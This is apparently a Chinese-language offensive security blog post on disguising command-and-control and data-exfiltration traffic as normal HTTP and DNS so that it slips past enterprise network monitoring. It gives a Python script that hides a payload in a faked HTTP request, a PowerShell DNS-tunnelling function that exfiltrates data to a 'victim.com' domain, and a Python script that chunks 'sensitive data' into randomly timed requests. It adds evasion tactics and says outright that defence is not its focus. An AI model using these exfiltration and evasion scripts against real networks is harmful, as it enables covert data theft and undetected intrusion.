0x01 渗透启示

在一个真实的企业渗透测试中，目标公司部署了先进的网络监控系统，能够识别大部分异常流量。然而，经过巧妙的流量伪装技术，“无害”的流量竟然突破了严密的监控，不仅成功地搭建了C2基础设施，还静默地传输了大量敏感数据。这种技术从表面上看并不起眼，却是攻击者在实战中必备的杀手锏。

0x02 流量变色龙实践

在这次渗透中，我们通过分析企业常用协议，设计了一个流量伪装机制，模仿其合法流量特征。目标是让C2通信看起来像正常业务流量，通过在真实场景中应用handcrafted流量模板来实现伪装。那么可以尝试模仿HTTP、DNS等协议，通过简单的调整以混淆我们的恶意流量。

Python流量伪装脚本

<pre><code class="language-python">import socket

def create_fake_http_payload(data, host): request = f&quot;GET /{data} HTTP/1.1\r\nHost: {host}\r\n\r\n&quot; return request.encode()

def send_payload(ip, port, payload): with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect((ip, port)) s.sendall(payload) response = s.recv(1024) print(&quot;Received:&quot;, response.decode())

黑客示意图

host = &quot;victim.com&quot; data = &quot;attack_payload&quot; fake_payload = create_fake_http_payload(data, host) send_payload(&quot;192.168.1.100&quot;, 80, fake_payload)</code></pre>

注： 这个脚本伪造了一个正常的HTTP请求，看起来像是请求一个网站的页面，而实际上传递的是“attack_payload”等隐藏信息。

0x03 Payload构造的艺术

要成功伪装流量，必须构造一个合适的payload，使其与合法流量看起来几乎相同。首先，理解目标环境中常用的协议特征，比如HTTP的头信息，DNS的查询格式，甚至是企业内部自定义协议标准。这些信息可以通过深入的流量捕获与分析得到。

PowerShell DNS隧道伪装

伪装流量的一个经典技巧是利用DNS隧道技术，通过模拟合法的DNS查询进行数据传输。让我们来看一个PowerShell模拟 DNS隧道的示范：

<pre><code class="language-powershell">function Invoke-DNSTunnel { param( [string]$Domain = &quot;example.com&quot;, [string]$Data = &quot;secret_message&quot; )

$chunks = [regex]::Split($Data, &#039;(.{63})&#039;) foreach ($chunk in $chunks) { $hostname = &quot;$($chunk).$Domain&quot; try { Resolve-DnsName -Name $hostname } catch { Write-Host &quot;DNS query failed for $hostname&quot; } } }

Invoke-DNSTunnel -Domain &quot;victim.com&quot; -Data &quot;AttackDataToExfiltrate&quot;</code></pre>

说明： 这个脚本通过向伪装域名查询多次DNS，来传输“AttackDataToExfiltrate”。这种技术难以检测，因为查询都是合法的DNS请求。

0x04 伪装策略与绕过法则

黑客示意图

伪装流量的关键在于避开检测规则，这需要对监控系统的检测机制有深入了解。通常监控系统会关注流量中的异常行为模式，比如流量的频率、大小和目的地，因此我们需要采取以下策略：

  • 混淆： 通过多种合法协议分割数据包，比如在多个HTTP请求之间传递小块数据。
  • 变频： 模拟人类交互的流量频率，避免过于集中或一致的流量模式。
  • 加密： 对数据块使用企业常用的加密标准，以掩盖数据内容，增加解密难度。

Python混淆策略示例

<pre><code class="language-python">import random import time import requests

def send_randomized_http_requests(host, data): path_chunks = [data[i:i+10] for i in range(0, len(data), 10)] for chunk in path_chunks: sleep_time = random.uniform(1, 5) # simulate random traffic frequency time.sleep(sleep_time) requests.get(f&quot;http://{host}/{chunk}&quot;)

send_randomized_http_requests(&quot;victim.com&quot;, &quot;SensitiveData1234567890&quot;)</code></pre>

说明： 这个脚本将敏感数据随机分片，并通过许多随机延迟的请求发送，减少监控系统的异常流量检测概率。

黑客示意图

0x05 防御不是我们的重点

虽然我们的职责不在防御系统，但了解防御技术是为了更有效地攻击。一些高级防御可能包括行为分析、流量模式识别、加密数据检测等。然而，再加强的防御也是由人来设计，而人总有盲点。我们从攻击者视角出发，关注这些盲点，就是未来攻击成功的关键。

0x06 实战经验: 如何不被察觉

攻击者在渗透过程中要时刻保持隐匿，通过不断变化的攻击方式和伪装手法应对监控系统。以下是一些个人经验总结：

  • 时间分布： 不在某个时间段集中大量流量，模拟常规工作时间流量特征。
  • 数据伪装： 动态生成Data内的内容，在每次请求中变换内容格式或编码。
  • 真实模拟： 使用真实浏览器模拟流量行为，准确复刻正常交互的程序流量。

这种流量伪装技术已在多次渗透测试中被证明有效，并将继续应用于未来复杂的目标环境。重要的是，攻防对抗的发展永不止步，时刻更新和提升自己的技巧才是制胜的秘诀。

声明：本文仅限于经过合法授权的安全测试，请勿用于任何非法行为。

黑客示意图